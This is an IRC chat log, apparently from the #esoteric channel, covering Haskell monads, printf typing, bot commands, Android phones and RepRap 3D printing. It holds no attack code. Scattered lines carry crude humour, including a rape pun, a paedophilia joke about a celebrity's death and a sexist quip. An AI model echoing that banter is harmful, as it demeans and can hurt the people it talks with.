21:18:03 <pikhq> Though to be fair, if people were efficient coders, most people could get by on an 8080. ;P
21:18:44 <ehird> now that's very fale
21:18:47 <ehird> the web is too complex for that
21:19:37 <pikhq> For video and clever usage of Javascript, sure.
21:19:53 <pikhq> Otherwise, a C64 running Contiki is plenty.
21:19:57 <ehird> pikhq: get back to me when you write a rendering engine sir
21:23:45 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
21:24:47 <nooga> this whole haskell mode is defunct
21:25:55 <nooga> it can't find ghc and throw errors
21:26:23 <ehird> that's because it's in /opt/local
21:31:04 -!- asiekierka has quit (Read error: 110 (Connection timed out)).
21:48:15 -!- augur_ has joined.
21:48:15 -!- augur has quit (Read error: 104 (Connection reset by peer)).
21:48:44 -!- oerjan has joined.
21:49:36 <ehird> n! = n ∏ k=1, k ∀n ∈ ℕ ← the closest I can get to http://upload.wikimedia.org/math/0/e/8/0e85eaace43199521530c584b3350444.png with unicode
21:52:06 <ehird> oerjan: isn't ↑ easy to parse
21:52:30 <oerjan> yes ? is easy to parse
21:52:44 * oerjan now checks the logs to find out what that actually was
21:52:49 <ehird> oerjan: clog mangles unicode :P
21:53:00 <ehird> oerjan: i'll make a data: url of it
21:53:33 <ehird> oerjan: data:text/html;charset=utf-8;base64,biEgPSBuIOKIjyBrPTEsIGsg4oiAbiDiiIgg4oSV
21:53:36 <ehird> representation of http://upload.wikimedia.org/math/0/e/8/0e85eaace43199521530c584b3350444.png
21:53:39 <oerjan> i usually check the logs every time i need to read unicode on the channel...
21:54:01 <oerjan> i need to make sure the browser is set to display as UTF-8 first though
21:54:34 <oerjan> doesn't clog just pass utf-8 straight through?
21:54:44 <oerjan> (and of course my font is not comprehensive)
21:55:05 <ehird> oerjan: does my url work
21:55:08 <ehird> data:text/html;charset=utf-8;base64,biEgPSBuIOKIjyBrPTEsIGsg4oiAbiDiiIgg4oSV
21:55:47 <ehird> data:text/html;charset=utf-8;base64,biEgPSBuIOKIjyBrPTEsIGsg4oiAbiDiiIgg4oSV
21:56:04 * oerjan tries to paste that into the address line
21:56:35 <oerjan> IE tried to use that as a google search, so no
21:57:00 <ehird> oerjan: Yes, that's because IE sucks.
21:57:09 <ehird> Use another thing; data: is standard.
21:57:17 <ehird> IE 8 does data: anyway
21:58:46 <nooga> if haskell does not have state
21:59:03 <nooga> how to respond to events that happen in time?
21:59:33 <ehird> nooga: Step 1. Forget everything.
21:59:37 <ehird> Step 2. Learn functional programming.
22:01:47 <nooga> there are at least several flavors of functonal paradigm
22:03:20 <GregorR> Chocolate, strawberry and people.
22:10:43 <oerjan> <ehird> IE 8 does data: anyway <-- i have had IE8 for a few weeks now
22:10:58 <augur_> nooga: it depends on the kind of event!
22:11:10 <ehird> oerjan: so why don't you get a decent browser?
22:11:29 <augur_> if your event is an event that requires IO, then it responds at the moment of the request, using magic monads (IO)
22:11:38 <augur_> if it doesnt have io, there it doesnt respond at all!
22:11:40 <oerjan> ehird: just to annoy you, my dear
22:12:03 <nooga> in fact, ehird is a bit annoying
22:13:15 <GregorR> http://notalwaysright.com/he-uses-the-google/1321
22:14:27 <nooga> so if i get it correctly, if i want to write a raytracer - i just define a bunch of functions that i use in a top-level function that takes scene as an argument and returns an image, so it looks like image is calculated from the scene automagically
22:14:49 <nooga> but what if i want to write a http server? or interactive game ?
22:15:22 <oerjan> > runState (do modify (+1); x <- get; modify (+1); return x) 4
22:15:31 <oerjan> nooga: ^ State monad example
22:15:36 <ehird> pikhq: Explain the functional paradigm to nooga; I'm too lazy.
22:16:37 <pikhq> nooga: You apply functions to functions, thereby getting results. Anything more than that, and you're using monads.
22:17:04 <pikhq> And monads let you represent state like you would in an imperative language.
22:17:27 <nooga> so like in maths, function is a transformation, not a bunck of actions
22:17:33 <oerjan> !haskell import Control.Monad.State; import Control.Monad; main = runStateT (replicateM 5 $ do modify (+1); x <- get; liftIO (putStr $ show x ++ " ")) 10
22:17:40 <pikhq> However, these monads let you seperate as much of the state away from your code as possible, allowing you to think clearly about the rest of your code without pesky things like "state" getting in the way.
22:18:06 <ehird> pikhq has jumped from a tcl fanboy to a haskell fanboy. Ha
22:18:58 <pikhq> ehird: I'm still fond of Tcl.
22:19:09 <pikhq> Tcl's a nice *imperative* language.
22:19:51 <pikhq> ehird: That would be... Not necessarily in violation of Tcl's semantics.
22:20:57 <oerjan> nooga: now ignoring state monads (which are just sort of sweeping the real thing under the rug), the way to do state in haskell is to pass the state along as an argument
22:21:03 <ehird> pikhq: apart from the whole string thing
22:23:00 <pikhq> oerjan: One could almost think of state monads as being a crazy way of doing continuation-passing style code. :P
22:23:13 <ehird> pikhq: that's how they're implemented
22:23:23 <lambdabot> Source not found. That's something I cannot allow to happen.
22:23:27 <lambdabot> Source not found. Where did you learn to type?
22:23:32 <ehird> fuck you lambdabot
22:23:37 <ehird> @src (State x) return
22:23:45 <pikhq> I think when I realised that is when I realised what the hell monads are and why they're useful.
22:24:05 <oerjan> ehird: the monad transformer library never used to be included in @src, for some reason
22:25:03 <ehird> pikhq: so how many days now?
22:25:33 <ehird> pikhq: can you spend a month learning quantum physics sometime? you'll make a theory of everything immediately :P
22:26:46 <EgoBot> daemons: !daemons. List running daemons.
22:26:50 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
22:27:03 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
22:27:29 <oerjan> GregorR: does the daemon thing work in any way?
22:27:51 <GregorR> Whoops, I put haskell under "Esoteric", that ain't right :P
22:27:56 <GregorR> (Well, it's sort of right)
22:28:15 <pikhq> It's only esoteric in the sense that not a lot of peole know it.
22:28:33 <pikhq> Perl is esoteric in the sense that nobody *should* know it. :P
22:29:22 <oerjan> ok so no real way of using EgoBot to demonstrate interactive haskell
22:30:32 <pikhq> Not without having a different script to start interactive Haskell, I guess.
22:30:41 <EgoBot> [0,1,2,3,4,5,6,7,8,9,10]
22:31:08 <oerjan> by interactive i mean something that would respond to lines in an interleaving way
22:31:12 <augur_> haskell is esoteric in the sense that anything reeeaaally useful requires that you understand category theory and monads and crap
22:31:18 <ehird> augur_: no it doesn't
22:31:20 <augur_> which means you're writing in an incomprehensible language
22:31:23 <ehird> pikhq: do you understand category theory?
22:31:24 <augur_> shut up ehird yes it does
22:31:27 <ehird> i doubt it. do you understand monads?
22:31:29 <lambdabot> <no location info>: parse error on input `:'
22:31:40 <pikhq> ehird: No, but I probably will.
22:31:42 <oerjan> category theory beyond monads is not that important
22:31:53 <ehird> anyone who thinks category theory is needed for anything in haskell is wrong
22:31:53 <pikhq> I'm *also* a math major, you see...
22:32:13 <lambdabot> forall a. (Eq a) => a -> a -> Bool
22:32:34 <ehird> pikhq: http://okmij.org/ftp/ Here's Oleg's site. You're probably the only person who can read it without breaking their brain.
22:32:52 <oerjan> nooga: > is an abbreviation for @run, :t for @type, and :k for @kind. every other command last i checked starts with @
22:33:32 -!- tombom has quit ("Peace and Protection 4.22.2").
22:33:41 <oerjan> (last i checked == at least a year ago)
22:34:10 <ehird> lambdabot: seen mauke
22:34:15 <ehird> thought it did that
22:34:27 <pikhq> ehird: I think I've stumbled across that before.
22:34:32 <oerjan> lambdabot: @seen mauke
22:34:32 <lambdabot> mauke is in #haskell and #xmonad. I last heard mauke speak 55s ago.
22:35:14 <oerjan> seems to make no difference to the response
22:36:00 <lambdabot> Yes, I'm here. I'm in #esoteric, ##hrg, #unicycling, #scannedinavian, #scala, #rosettacode, #perl6, #macosxdev, #jtiger, #jhc, #haskell_ru, #haskell.se, #haskell.ru, #haskell.no, #haskell.jp, #
22:36:00 <lambdabot> haskell.it, #haskell.hr, #haskell.fr, #haskell.fi, #haskell.es, #haskell.dut, #haskell.de, #haskell.cz, #haskell-soc, #haskell-books, #haskell-blah, #haskell-iphone, #haskell-in-depth, #haskell-
22:36:00 <lambdabot> freebsd, #macosx, ##freebsd, #gentoo-uy, #gentoo-haskell, #friendly-coders, #dreamlinux-es, #concatenative, #arch-haskell, #functionaljava, #bfpg, #novalang, #darcs, #yi, #xmonad, #ghc, ##logic, #
22:36:22 <lambdabot> You are in #haskell, ##freebsd, #friendly-coders and #esoteric. I last heard you speak just now.
22:36:33 <pikhq> http://okmij.org/ftp/Computation/monadic-shell.html
22:36:43 <pikhq> That... Is damned cool.
22:36:55 <AnMaster> it is the only one in #scannedinavian
22:37:06 <ehird> scannedinavian is the name of shapr's site i think.
22:37:12 <ehird> maybe oerjan know.
22:37:21 <ehird> pikhq: yeah it's cool
22:37:26 <ehird> AnMaster: haskeller, esolanger
22:38:09 <oerjan> scannedinavian ~ shapr does ring a bell
22:38:09 <ehird> pikhq: what's really cool about monads is that they're essentially a tool for data dependencies
22:38:22 <oerjan> AnMaster: shapr is almost the founder of #haskell
22:38:41 <ehird> ScannedInAvian.com
22:38:41 <ehird> hpaste is hosted here.
22:38:42 <ehird> Shae's blog has moved.
22:38:44 <ehird> See Pix of Shae for more excitement.
22:38:46 <ehird> Shae Matijs Erisson
22:39:07 <pikhq> ehird: Monads are pretty damned cool, yeah...
22:39:46 <ehird> "The #haskell channel appeared in the late 90s, and really got going in early 2001, with the help of Shae Erisson (aka shapr)."
22:39:55 <ehird> ↑ basically it was dead, then shapr made it undead.
22:40:29 <pikhq> Man, pipes as monads.
22:40:41 <oerjan> are you sure? it does seem to eat a lot of brains >:D
22:41:23 <oerjan> actually pipes are arrows, but monads are an extension of arrows
22:43:21 <pikhq> Okay, I think my brain broke. GNU make is a functional programming language.
22:43:23 <oerjan> or even just category composition
22:44:03 <ehird> pikhq: declarative, but not functional
22:44:06 <oerjan> (no, you don't NEED to know this, shut up!)
22:45:23 <pikhq> ehird: http://okmij.org/ftp/Scheme/tests/Makefile
22:45:27 <pikhq> There's GNU make being used functionally.
22:45:51 <ehird> the actual target bodies are -not- pure
22:45:57 <ehird> but it is declarative
22:46:26 <pikhq> Mmm... Yeah, true.
22:47:19 <pikhq> ... *He's* the guy that proved Sendmail Turing-complete?
22:48:03 <ehird> pikhq: he pioneered variable argument functions in haskell, too
22:48:22 <pikhq> ... You can do variadic functions in Haskell?
22:48:55 <ehird> pikhq: It's pretty painful and you should use a list. but yes.
22:49:09 <ehird> primitive ptr_to_int "unsafePtrToInt" :: a -> Int
22:49:09 <ehird> bothtruth2:: Bool -> Bool -> Bool
22:49:10 <oerjan> !haskell import Text.Printf; main = printf "%d %s\n" 15 "dollars" :: IO ()
22:49:10 <ehird> bothtruth2 a b = a `seq` b `seq` (ptr_to_int a - ptr_to_int False) +
22:49:12 <ehird> (ptr_to_int b - ptr_to_int False) ==
22:49:14 <ehird> 2*(ptr_to_int True - ptr_to_int False)
22:49:16 <ehird> —Oleg, implementing (&&) with pointer arithmetic.
22:49:18 <ehird> ah right, printf does it a lot
22:49:21 <ehird> oerjan: no need for :: IO ()
22:49:27 <ehird> !haskell import Text.Printf; main = printf "%d %s\n" 15 "dollars"
22:49:39 <ehird> pikhq: note that printf is not type-safe, i.e. printf "%d\n" "aa" errors at runtime
22:49:56 <oerjan> ehird: well it still broke
22:50:20 <oerjan> ehird: i would expect it to need :: IO ()
22:50:39 <ehird> oerjan: that printf can be of type IO ()
22:50:44 <ehird> oerjan: it's checked whether main is of type IO ()
22:50:49 <ehird> printf hastily decides that of course it is
22:51:08 <oerjan> ehird: i don't think main type is checked until linking, by which time it would be too late
22:51:15 <oerjan> !haskell import Text.Printf; main = printf "%d %s\n" 15 "dollars"
22:51:32 <oerjan> !haskell import Text.Printf; main = printf "%d %s\n" (15::Int) "dollars"
22:51:33 <ehird> [ehird:~/Junk] % cat>foo.hs
22:51:33 <ehird> import Text.Printf; main = printf "%d %s\n" 15 "dollars"
22:51:34 <ehird> [ehird:~/Junk] % ghc foo.hs -o foo
22:51:38 <ehird> Ambiguous type variable `t' in the constraints:
22:51:40 <ehird> `PrintfArg t' arising from a use of `printf' at foo.hs:1:27-55
22:51:42 <ehird> `Num t' arising from the literal `15' at foo.hs:1:44-45
22:51:44 <ehird> Probable fix: add a type signature that fixes these type variable(s)
22:51:46 <ehird> monomorphim restriction LOL
22:51:52 <ehird> !haskell import Text.Printf; main = printf "%i %s\n" 15 "dollars"
22:51:55 <ehird> oerjan: right sorry
22:52:03 <ehird> oerjan: anyway, I'm still right.
22:52:04 <oerjan> that is because we forgot (15::Int)
22:52:08 <ehird> printf just sucks :P
22:52:22 <oerjan> ehird: apparently, since it worked after adding ::Int but not :: IO ()
22:52:50 <oerjan> ehird: it works as well as haskell allows
22:53:04 <ehird> i've written better printfs
22:53:07 <ehird> although not for breakfast
22:53:17 <ehird> oerjan: btw with overloadablestrings you can do crazy shit like type-safe printf easily
22:53:27 <ehird> in fact, I'm gonna do that now for lulz
22:53:53 <ehird> (pikhq: You know how 3 is of type (Num a) => a? Overloadable strings makes "foo" of type (IsString a) => a.)
22:54:02 <ehird> instance IsString Integer
22:54:36 <lambdabot> No instance for (GHC.Num.Num [GHC.Types.Char])
22:54:47 <augur_> apparently michael jackson is dead
22:54:53 <ehird> pikhq: you haven't used OverloadedStrings or defined an instance :P
22:54:59 <oerjan> <ehird> pikhq: note that printf is not type-safe, i.e. printf "%d\n" "aa" errors at runtime <-- it's dynamically safe though
22:55:05 <ehird> augur_: not that one :-P
22:55:12 <ehird> oerjan: dynamically safe is unsafe.
22:55:23 -!- augur_ has changed nick to augur.
22:55:29 <ehird> http://en.wikipedia.org/wiki/Mick_Jackson_(singer)
22:55:35 <augur> http://www.tmz.com/
22:55:36 <pikhq> Jebus. Haskell seems to have the highest average IQ amongst those who know it that I've seen. :P
22:56:24 <augur> pikhq: thats because you need to be a mathematician to understand it
22:56:35 <ehird> augur: wait, no joke?
22:56:47 <ehird> oh well, the world got a little less creepy and pedophillic today
22:56:48 <pikhq> Nah, nah. No math involved.
22:56:52 <oerjan> ehird: it does not give memory corruption, which is a huge improvement to the opposite
22:56:53 <pikhq> Heavy CS requirements, but...
22:57:08 <augur> ehird: want to come to my house and play on the swingset? ;o
22:58:23 <ehird> pikhq: Disadvantage of OverloadedStrings: every file using them needs {-# LANGUAGE OverloadedStrings #-}
22:58:36 <ehird> Although you can use -XOverloadedStrings in your Cabal file.
22:58:40 <ehird> pikhq: Do you know about cabal?
22:58:54 <ehird> It's good. It's a packaging+build system for Haskell. Also Hackage is a collection of cabal packages and is huge and nice.
22:58:58 <pikhq> Kinda like dsss for Haskell?
22:59:09 <ehird> Also you want to install cabal-install to get cabal(1) which installs hackage packages and also manages local cabal stuff.
22:59:12 <ehird> pikhq: Yeah, pretty much.
22:59:19 <ehird> But less of a pain to set up and ubiquitous.
22:59:50 <pikhq> Yeah, Haskell is certainly less bitchy to set up.
23:00:07 -!- MigoMipo has quit ("Changing server...").
23:00:11 <pikhq> (good *God* it should not take that much effort just to set up a compiler!)
23:00:25 -!- MigoMipo has joined.
23:00:33 <ehird> pikhq: http://www.haskell.org/haskellwiki/GADT
23:00:34 <ehird> I just blew your mind.
23:02:14 <pikhq> Turing complete types, huh?
23:02:23 <ehird> GADTs are different.
23:02:34 <pikhq> Funny, I see SK in the type system.
23:02:49 <ehird> That's not in the type system
23:02:51 <pikhq> No, wait, that's different.
23:03:34 <pikhq> Just the types of SK are in the type system.
23:05:30 -!- ehird_ has joined.
23:05:39 -!- ehird has quit (Nick collision from services.).
23:05:43 -!- ehird_ has changed nick to ehird.
23:05:52 -!- ehird_ has joined.
23:05:54 <AnMaster> ehird, how did the bricking go?
23:06:13 <lambdabot> [1.0,0.5,0.3333333333333333,0.25,0.2,0.16666666666666666,0.1428571428571428...
23:06:18 <ehird> > map (1/) [1..] :: [CReal]
23:06:19 <lambdabot> [1.0,0.5,0.3333333333333333333333333333333333333333,0.25,0.2,0.166666666666...
23:06:23 <ehird> AnMaster: ouch what
23:06:51 <ehird> It was trying to verify the file was real authentic, which it wasn't, so meh
23:07:46 <ehird> oerjan: actually type-safe printf with overloadable strings is running into function-returning-multiple-type problems
23:07:58 <oerjan> you can show digits of a computable real just fine as long as you allow a slack of 1 on the number of digits you print
23:08:02 <ehird> should be possible, though...
23:08:46 <oerjan> ehird: you are aware that haskell _in_ _principle_ does not have dependent types, even with extensions afaik?
23:09:01 <oerjan> so you cannot possibly let the type of a string depend on its value
23:09:01 <ehird> oerjan: that's fine, because this doesn't require dependent types
23:09:06 <ehird> OverloadedStrings only works on literals
23:09:38 <oerjan> i doubt it allows the type to depend on the literal, nevertheless
23:09:38 -!- olsner has quit ("Leaving").
23:09:58 <ehird> oerjan: i am ~90% sure it's possible
23:10:38 <oerjan> isn't it just some class IsString with a fromString :: String -> a method or the like?
23:11:06 <oerjan> no way to look at the string during type inference
23:11:36 <ehird> mostly extensions.
23:11:42 <nooga> > filter (`elem` ['A'..'Z']) "i lauGh At You BecAuse u r aLL the Same"
23:11:58 <ehird> nooga: that would be BONUS' warped sense of humour
23:12:00 <ehird> AnMaster: not really.
23:12:15 <ehird> a man could fit in most of the haskell you'd ever need in his head
23:12:22 <ehird> (Women however YUK YUK)
23:12:44 <AnMaster> ehird, then where does the apparent complexity exceeding that of perl come from?
23:12:48 <nooga> AnMaster: Erlang seems complex
23:13:04 <AnMaster> nooga, it didn't seem that complex even before I learned it
23:13:44 <oerjan> AnMaster: haskell has quite a bit of syntactic sugar, plus definable operators, so it may seem complex even if the core isn't
23:13:44 <AnMaster> it *does* however have a rather large standard library
23:14:47 <Warrigal> > filter (`elem` ['A'..'Z']) "women however YUK YUK"
23:14:57 <pikhq> > let foo = 1:foo ++ foo in foo
23:14:58 <lambdabot> [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,...
23:15:06 <ehird> Will never be executed.
23:15:18 <ehird> (x ++ y) will only do anything when you get to the end of x.
23:15:19 <pikhq> ... Yeah, didn't think when I typed.
23:15:24 <ehird> And getting to the end of (1:foo)? Not happening :P
23:15:28 <lambdabot> [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,...
23:15:29 <fizzie> Incidentally, we had some talk about the google + dalvik thing? engadget writes "-- today they've released the Android 1.5 Native Development Kit (NDK) that allows developers to generate C and C++ libraries that run directly on the platform rather than being routed through Dalvik."
23:15:31 <pikhq> > let foo = foo ++ foo in foo
23:15:36 <lambdabot> mueval-core: Prelude.read: no parse
23:15:49 <lambdabot> Couldn't match expected type `a -> a' against inferred type `[t]'
23:15:53 <pikhq> It hates me! It really hates me!
23:16:02 <lambdabot> [a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,...
23:16:09 <ehird> fizzie: Yay now we can run Haskell on it
23:16:11 <AnMaster> ok that guess was correct though
23:16:29 <ehird> *Main> let foo = foo ++ foo in foo
23:16:38 <lambdabot> The operator `:' [infixr 5] of a section
23:18:02 <ehird> oerjan: grr, it 's suffering from the
23:18:04 <ehird> No instance for (Format a (t -> t1))
23:18:09 <Warrigal> The error messages are exactly correct and also kind of useless.
23:18:17 <ehird> oerjan: when you do (specifitype→specifictype)
23:18:24 <ehird> AnMaster: the error messages are very useful
23:19:04 <AnMaster> quite the opposite of the C++ ones
23:21:23 <fizzie> I can't decide whether I should just get a reasonably cheap old G1 thing (even though there's supposedly some connectivity issues, plus I hear the battery life is rather bad, plus lack of direct 3.5mm headphone jack) or wait and see that "before the end of the year" keyboardy Motorola Android phone or the equally keyboardy only-rumours-so-far launching-"like, really soon" Samsung thing; which both will probably not be very cheap to get up here in the wilderne
23:21:23 <fizzie> ss. What with all the polar bears delivery people have to fight past and so on.
23:21:34 <ehird> oerjan: do you know if thar's a solution?
23:21:48 <ehird> fizzie: Well, the dev phone is a bit expensive.
23:22:21 <fizzie> Yes, but ebay.co.uk seems to have a couple of rather cheap unlocked T-Mobile G1s.
23:23:04 <ehird> fizzie: you don't know where they've been. the keys could have virususes on them.
23:23:12 <fizzie> I guess I should read more of them reviews. Quite many seem to mention the battery life thing, though.
23:24:07 <ehird> fizzie: make your own phone
23:24:10 <fizzie> It is possible they might actually start selling one of those other phones (Samsung, Motorola) in Finland officially and all. A working warranty is probably not a bad thing in a phone.
23:24:12 <ehird> get a gumstix board
23:24:20 <ehird> print a case with a reprap
23:24:29 <ehird> get the linux kernel
23:24:33 <ehird> get a text editor and a connection!
23:24:44 <ehird> for phone calls, hook into skype
23:25:00 <ehird> AnMaster: since i don't know how the fuck you do things like communicate with a sim, skype it is.
23:25:03 <ehird> write an emacs interface to skype.
23:25:10 <ehird> you could just mute its UI sounds and keep its interface hidden
23:25:16 <ehird> and communicate via it by fake-clicking it.
23:25:36 <ehird> good luck using emacs with a 3" screen and a tiny keyboard
23:26:10 <AnMaster> ehird, I'm waiting for the day when you can print an entire phone with rerap
23:27:04 <ehird> AnMaster: you could do everything but the actual circuit hardware (use a gumstix board), the screen, the keyboard circuit (you could print the keys and holder), and the mic/camera/speaker
23:27:07 <Warrigal> Actually, it's a borrowing from Spanish, where the prefix "re-" means "well-".
23:27:11 <ehird> but the whole phone chassis could be reprapped.
23:27:16 <ehird> Warrigal: well raped?
23:27:24 <ehird> "i'ma rape you real good!"
23:27:46 <oerjan> ehird: solution to what?
23:28:12 <ehird> oerjan: if you have an instance involving (Concrete → Concrete) and try to use it, it'll say there's no instance for (t1 → t2)
23:28:26 <ehird> since in regular haskell you need to do type variables, not concrete types, in instance declarations
23:28:30 <ehird> so it can't check it prop'ly
23:28:49 <oerjan> ehird: -fglasgow-exts turns on most extras iirc
23:28:58 <ehird> oerjan: i mean a workaround
23:29:02 <ehird> there isn't an extra to make this work
23:29:20 <ehird> no, there isn't...
23:29:31 <oerjan> i'm pretty sure ghc allows more than type variables in instance declarations
23:29:37 <ehird> AnMaster: it seems reprap can make little LED lights
23:29:42 <ehird> oerjan: that's not the issue
23:29:51 <ehird> oerjan: the issue is that when you try and use them it checks for (t1 → t2) generically
23:29:54 <oerjan> you want it to be legal haskell 98?
23:29:59 <ehird> Possible fix: add an instance declaration for (Format a (t -> t1))
23:30:01 <ehird> even though I have
23:30:01 <ehird> instance Format Bar ([Char] -> [Char]) where
23:30:08 <ehird> there. is. no. extra. for. making. this. work.
23:30:51 <Warrigal> It seems easy enough to make an LED.
23:31:02 <ehird> Warrigal: with a 3d printer?
23:31:04 <ehird> have fun with that
23:31:05 <Warrigal> A diode is just two pieces of silicon, oppositely-doped, stuck together, isn't it?
23:31:15 <Warrigal> So, um, let's figure out how to print silicon.
23:31:19 <oerjan> i was so sure i'd heard it was allowed, ask in #haskell
23:31:57 <ehird> pikhq: there's a reprap thing to do parametrized lego bricks :-D
23:32:11 <oerjan> ehird: um maybe it is allowed but you have something that forces it to require a more general type than just Bar and [Char] -> [Char] ?
23:32:24 <ehird> i've run into this before
23:32:44 <lambdabot> Data.Char Format :: GeneralCategory
23:32:44 <lambdabot> Data.Time.Format formatCharacter :: FormatTime t => Char -> Maybe (TimeLocale -> t -> String)
23:33:24 <ehird> format is my type class
23:34:01 <ehird> http://www.thingiverse.com/thing:591
23:34:05 <Warrigal> "Not counting nuts and bolts RepRap can make 60% of its parts; the other parts are designed to be cheaply available everywhere. This is an interesting coincidence: we can make 60% of our proteins; the other parts are evolved to be cheaply available everywhere..."
23:34:19 <Warrigal> 60% of our proteins? Do they mean 60% of our amino acids?
23:35:05 <ehird> AnMaster: i said "nm"
23:35:05 <Warrigal> Last time I checked, we could synthesize all the proteins we needed from their amino acids, and we never used proteins we ate without breaking them down first.
23:35:16 <AnMaster> ehird, nautical miles? nanometer?
23:35:43 <ehird> i wanna print a klein bottle
23:35:45 <ehird> gotta make a reprap
23:35:47 <ehird> pikhq: let's make a reprap
23:36:58 <ehird> AnMaster: a 3d model of some sort?
23:37:02 <oerjan> ehird: -XFlexibleInstances
23:37:05 <ehird> pikhq: we plan one, i build it, i use it to make a reprap, I give you that reprap :-P
23:37:09 <AnMaster> ehird, I thought it was SuperTux Level :/
23:37:10 <ehird> oerjan: IT IS NOT THE INSTANCE THAT IS THE PROBLEM!
23:37:47 <ehird> Functional dependencies, bitch.
23:37:57 <pikhq> .stl is the most common format for CAD.
23:38:08 <ehird> pikhq: http://www.haskell.org/haskellwiki/Functional_dependencies ← it's type system prolog!
23:38:10 <AnMaster> pikhq, heh, what FOSS exists for it?
23:38:26 <AnMaster> ehird, I meant, for *modelling* it
23:38:47 <pikhq> I know it's out there, just don't remember what that is.
23:38:55 <pikhq> Aside from Blender, that is.
23:38:58 <oerjan> ehird: since it would be useless to _have_ those instances if they cannot be used, you had to be doing something wrong. since you refuse to paste, i cannot possibly detect what it is.
23:39:07 <ehird> oerjan: no, they can be used
23:39:10 <ehird> but with type sig decls
23:39:13 <ehird> this is definitely a known thing
23:39:55 <AnMaster> and blender's interface is horrible
23:40:11 <AnMaster> wings3d is quite nice for "free-form" modelling
23:40:19 <AnMaster> but wouldn't work at all for CAD
23:40:22 <oerjan> ehird: was that about functional dependencies you finding the solution?
23:40:26 <AnMaster> (wings3d is coded in erlang btw!)
23:40:33 <ehird> oerjan: i think i have
23:40:47 <AnMaster> wings3d is the nicest polygon editor I used
23:41:16 <oerjan> ehird: anyway it _still_ belonged to the "no one can possibly see the solution without seeing the code" class, so there! >:)
23:41:39 <pikhq> AnMaster: I just know that Blender can export STL.
23:41:44 <ehird> *Main> foo (parse "foo") :: Char
23:41:45 <pikhq> I also know there's other, better editors.
23:41:45 <ehird> *Main> foo (parse "foo") :: Int
23:41:54 <pikhq> I just don't know which those are.
23:41:57 <AnMaster> pikhq blender can export every known 3d format
23:42:16 <GregorR> Uhhhhh, I'm gonna go with "no" :P
23:46:51 <ehird> pikhq: do you think reprap produced plastic cups are safe to drink from? :P?
23:47:01 <ehird> i mean all that plastic and stuff! it just feels wrong.
23:47:32 <ehird> lol instinctive irrationality
23:47:41 <pikhq> I live in the land of plastic.
23:49:45 <ehird> pikhq: "However, the RepRap researchers will work actively to inhibit and to subvert the use of RepRap for weapons production, whether by individuals, companies, or governments"
23:49:54 <ehird> "we'll modify our design to stop you using it in a way you want to?>"
23:49:59 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:50:11 <pikhq> ehird: Who wrote that?
23:50:16 <ehird> pikhq: reprap people
23:50:31 <pikhq> Not to mention impossible.
23:50:32 <Warrigal> The way to make a plastic cup is by punching a sheet of plastic into the shape of a cup.
23:50:56 <pikhq> Warrigal: That is correct if you use a miller head.
23:51:12 <pikhq> (someone's been experimenting with a miller RepRap.)
23:51:38 <pikhq> The miller head isn't all that hard to make; create a mount for a Dremel.
23:51:43 <ehird> anyway, I'd make a klein bottle and use it.
23:51:46 <ehird> although I'd prefer glass.
23:51:50 <ehird> we need a glassrap.
23:51:55 <ehird> put in sand, get out glass.
23:52:01 <pikhq> You can get a glass Klein bottle.
23:52:13 <ehird> but it's not the same as making it yourself.
23:52:42 <ehird> pikhq: also they generally lack an opening to drink from
23:52:47 <ehird> i'd punch a hole into the top curve
23:52:59 <ehird> http://upload.wikimedia.org/wikipedia/commons/5/5c/Klein_bottle.svg
23:53:02 <ehird> or just make it like that
23:53:03 <pikhq> The same people make a Klein mug.
23:53:09 <ehird> but that's lame-ass
23:53:30 <pikhq> Note that a klein bottle probably couldn't be printed; too much curviness.
23:53:31 * Warrigal watches How It's Made to find out the *real* way to make a plastic cup.
23:53:43 <ehird> http://objects.reprap.org/mediawiki/images/6/6c/Shoe-closed.jpg is curvy too
23:53:47 <pikhq> ehird: 45° overhang?
23:53:52 <Warrigal> The Klein bottles I've seen were assembled out of pieces.
23:54:12 <ehird> Warrigal: http://www.kleinbottle.com/
23:54:14 <Warrigal> Take a sheet of plastic, cut it, shape it, glue it.
23:54:22 <ehird> i wonder if that shoe is any good
23:54:28 <ehird> i wish reprap's results looked prettier
23:54:28 <Warrigal> ehird: yes, but they blow pieces and assemble them, don't they?
23:54:49 <pikhq> That's a few pieces stuck together by a soldering iron.
23:55:34 <ehird> pikhq: hmm really?
23:55:46 -!- Tidus35 has quit (Read error: 110 (Connection timed out)).
23:56:13 <pikhq> There's work on making the RepRap print support substrate.
23:56:19 <pikhq> So you can print any arbitary overhang.
23:56:31 <ehird> plus the circuitry generator!
23:56:49 <pikhq> The substrate printing should make the RepRap design much simpler to do.
23:57:06 <ehird> i hope the circuitry generator is enough to print a reprap 2
23:57:43 <Warrigal> Mendel will probably not be able to print magnets.
23:57:44 <pikhq> Even if it's not, they have another technique up their sleeve.
23:57:53 <pikhq> Reprap channels out.
23:57:55 <Warrigal> And, therefore, will probably not be able to print motors.
23:57:59 <pikhq> Melt solder into those channels.
23:58:13 <pikhq> Warrigal: Not without you inserting magnets.
23:58:29 <ehird> yeah but it could print its circuit
23:58:37 <ehird> does anyone know how quick reprap is?
23:58:43 <nooga> it would be something if it could completely print and assemble itself
23:58:52 <GregorR> Takes many hours for most everything.
23:59:09 <ehird> nooga: if you don't think what it already does is fucking amazing you suck
23:59:30 <pikhq> Doesn't need to be exceptionally fast to be revolutionary, though.
23:59:40 <Warrigal> A family of RepRap machines would probably be better than a single RepRap machine.
23:59:45 <nooga> it's like bootstrapping a compiler
23:59:53 <ehird> nooga: reprap doesn't exist solely to make itself
00:00:21 <Warrigal> Some facilities simply aren't required for most things. Like magnets.
00:00:25 <nooga> so it's cheap 'rapid' prototyping machine
